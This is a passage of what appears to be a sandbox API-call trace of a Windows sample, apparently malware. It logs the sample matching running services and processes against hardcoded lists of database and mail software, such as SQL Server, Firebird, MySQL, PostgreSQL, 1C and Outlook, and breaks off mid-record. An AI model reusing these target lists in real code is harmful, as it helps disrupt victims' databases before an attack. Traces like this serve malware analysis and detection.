lpString2="netprofm") returned 1 [0032.397] lstrlenW (lpString="NlaSvc") returned 6 [0032.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0032.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0032.397] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0032.397] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0032.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0032.397] lstrlenW (lpString="nsi") returned 3 [0032.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0032.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0032.397] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0032.397] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0032.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0032.397] lstrlenW (lpString="PcaSvc") returned 6 [0032.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0032.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0032.397] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0032.397] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0032.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0032.397] lstrlenW (lpString="PlugPlay") returned 8 [0032.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0032.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0032.397] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0032.398] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0032.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0032.398] lstrlenW (lpString="Power") returned 5 [0032.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0032.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0032.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0032.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0032.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0032.398] lstrlenW (lpString="ProfSvc") returned 7 [0032.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0032.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0032.398] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0032.398] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0032.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0032.398] lstrlenW (lpString="RpcEptMapper") returned 12 [0032.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0032.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0032.398] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0032.398] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0032.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0032.398] lstrlenW (lpString="RpcSs") returned 5 [0032.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0032.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0032.398] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0032.398] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0032.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0032.398] lstrlenW (lpString="SamSs") returned 5 [0032.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0032.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0032.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0032.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0032.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0032.399] lstrlenW (lpString="Schedule") returned 8 [0032.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0032.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0032.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0032.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0032.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0032.399] lstrlenW (lpString="SENS") returned 4 [0032.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0032.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0032.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0032.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0032.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0032.399] lstrlenW (lpString="ShellHWDetection") returned 16 [0032.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0032.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0032.399] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0032.399] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0032.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0032.399] lstrlenW (lpString="Spooler") returned 7 [0032.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0032.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0032.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0032.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0032.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0032.399] lstrlenW (lpString="SysMain") returned 7 [0032.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0032.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0032.400] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0032.400] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0032.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0032.400] lstrlenW (lpString="Themes") returned 6 [0032.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0032.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0032.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0032.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0032.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0032.400] lstrlenW (lpString="TrkWks") returned 6 [0032.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0032.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0032.400] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0032.400] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0032.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0032.400] lstrlenW (lpString="UxSms") returned 5 [0032.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0032.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0032.400] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0032.400] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0032.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0032.400] lstrlenW (lpString="WdiServiceHost") returned 14 [0032.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0032.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0032.400] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0032.400] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0032.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0032.400] lstrlenW (lpString="WdiSystemHost") returned 13 [0032.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0032.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0032.401] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0032.401] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0032.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0032.401] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0032.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0032.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0032.401] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0032.401] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0032.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0032.401] lstrlenW (lpString="Winmgmt") returned 7 [0032.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0032.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0032.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0032.402] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0032.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0032.402] lstrlenW (lpString="WPDBusEnum") returned 10 [0032.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0032.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0032.402] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0032.402] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0032.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0032.402] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f7d0 | out: hHeap=0x5f0000) returned 1 [0032.402] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0032.404] Process32FirstW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0032.405] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0032.405] lstrlenW (lpString="System") returned 6 [0032.405] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0032.405] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0032.405] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0032.405] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0032.405] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0032.405] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0032.405] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0032.405] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0032.406] lstrlenW (lpString="smss.exe") returned 8 [0032.406] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0032.406] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0032.406] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0032.406] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0032.406] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0032.406] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0032.406] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0032.406] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0032.407] lstrlenW (lpString="csrss.exe") returned 9 [0032.407] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0032.407] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0032.407] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0032.407] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0032.407] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0032.407] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0032.407] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0032.407] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0032.408] lstrlenW (lpString="wininit.exe") returned 11 [0032.408] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0032.408] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0032.408] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0032.408] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0032.408] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0032.408] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0032.408] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0032.408] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0032.409] lstrlenW (lpString="csrss.exe") returned 9 [0032.409] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0032.409] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0032.409] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0032.409] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0032.409] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0032.409] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0032.409] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0032.410] lstrlenW (lpString="winlogon.exe") returned 12 [0032.410] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0032.410] lstrlenW (lpString="services.exe") returned 12 [0032.410] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0032.411] lstrlenW (lpString="lsass.exe") returned 9 [0032.411] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0032.411] lstrlenW (lpString="lsm.exe") returned 7 [0032.411] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.412] lstrlenW (lpString="svchost.exe") returned 11 [0032.412] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.413] lstrlenW (lpString="svchost.exe") returned 11 [0032.413] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.413] lstrlenW (lpString="svchost.exe") returned 11 [0032.413] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.414] lstrlenW (lpString="svchost.exe") returned 11 [0032.414] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.415] lstrlenW (lpString="svchost.exe") returned 11 [0032.415] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0032.415] lstrlenW (lpString="audiodg.exe") returned 11 [0032.415] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.416] lstrlenW (lpString="svchost.exe") returned 11 [0032.416] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.416] lstrlenW (lpString="svchost.exe") returned 11 [0032.416] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0032.417] lstrlenW (lpString="dwm.exe") returned 7 [0032.417] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0032.418] lstrlenW (lpString="explorer.exe") returned 12 [0032.418] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0032.419] lstrlenW (lpString="spoolsv.exe") returned 11 [0032.419] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0032.420] lstrlenW (lpString="taskhost.exe") returned 12 [0032.420] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.420] lstrlenW (lpString="svchost.exe") returned 11 [0032.420] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0032.421] lstrlenW (lpString="taskeng.exe") returned 11 [0032.421] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0032.422] lstrlenW (lpString="taskhost.exe") returned 12 [0032.422] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0032.423] lstrlenW (lpString="obligations-breath.exe") returned 22 [0032.423] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0032.423] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0032.423] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0032.424] lstrlenW (lpString="achieving.exe") returned 13 [0032.424] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0032.425] lstrlenW (lpString="venice.exe") returned 10 [0032.425] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0032.426] lstrlenW (lpString="owns.exe") returned 8 [0032.426] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0032.426] lstrlenW (lpString="faster momentum.exe") returned 19 [0032.427] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0032.427] lstrlenW (lpString="vital_reasons.exe") returned 17 [0032.427] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0032.428] lstrlenW (lpString="everyone.exe") returned 12 [0032.428] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0032.428] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0032.428] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0032.429] lstrlenW (lpString="bored_excluded.exe") returned 18 [0032.429] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0032.430] lstrlenW (lpString="mothers.exe") returned 11 [0032.430] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, 